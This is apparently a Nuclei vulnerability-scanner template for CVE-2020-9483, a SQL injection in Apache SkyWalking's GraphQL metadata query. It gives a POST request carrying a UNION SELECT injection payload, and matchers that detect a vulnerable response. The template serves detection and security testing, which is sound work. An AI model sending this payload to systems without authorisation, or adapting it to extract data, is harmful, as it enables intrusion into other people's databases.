56 lines
2.0 KiB
YAML
56 lines
2.0 KiB
YAML
id: CVE-2020-9483
|
|
|
|
info:
|
|
name: SkyWalking SQLI
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the SkyWalking project to fix the SQL injection vulnerability.
|
|
reference:
|
|
- https://github.com/apache/skywalking/pull/4639
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-9483
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2020-9483
|
|
cwe-id: CWE-89
|
|
epss-score: 0.05468
|
|
epss-percentile: 0.9239
|
|
cpe: cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: skywalking
|
|
tags: cve,cve2020,sqli,skywalking
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/graphql"
|
|
|
|
body: |
|
|
{"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}
|
|
|
|
headers:
|
|
Content-Type: application/json
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "Content-Type: application/json"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "UNION SELECT 1,CONCAT('~','9999999999','~')--"
|
|
- 'Exception while fetching data'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100e2d8a6c94ace7bb81e2ec18a2e57fd588b4930828962fa0c5c09e62af939a7d202203f96ca1df64910773cb83a873d4dc8ff7732f9ddd0f24e8338b9e40a2ba12296:922c64590222798bb761d5b6d8e72950 |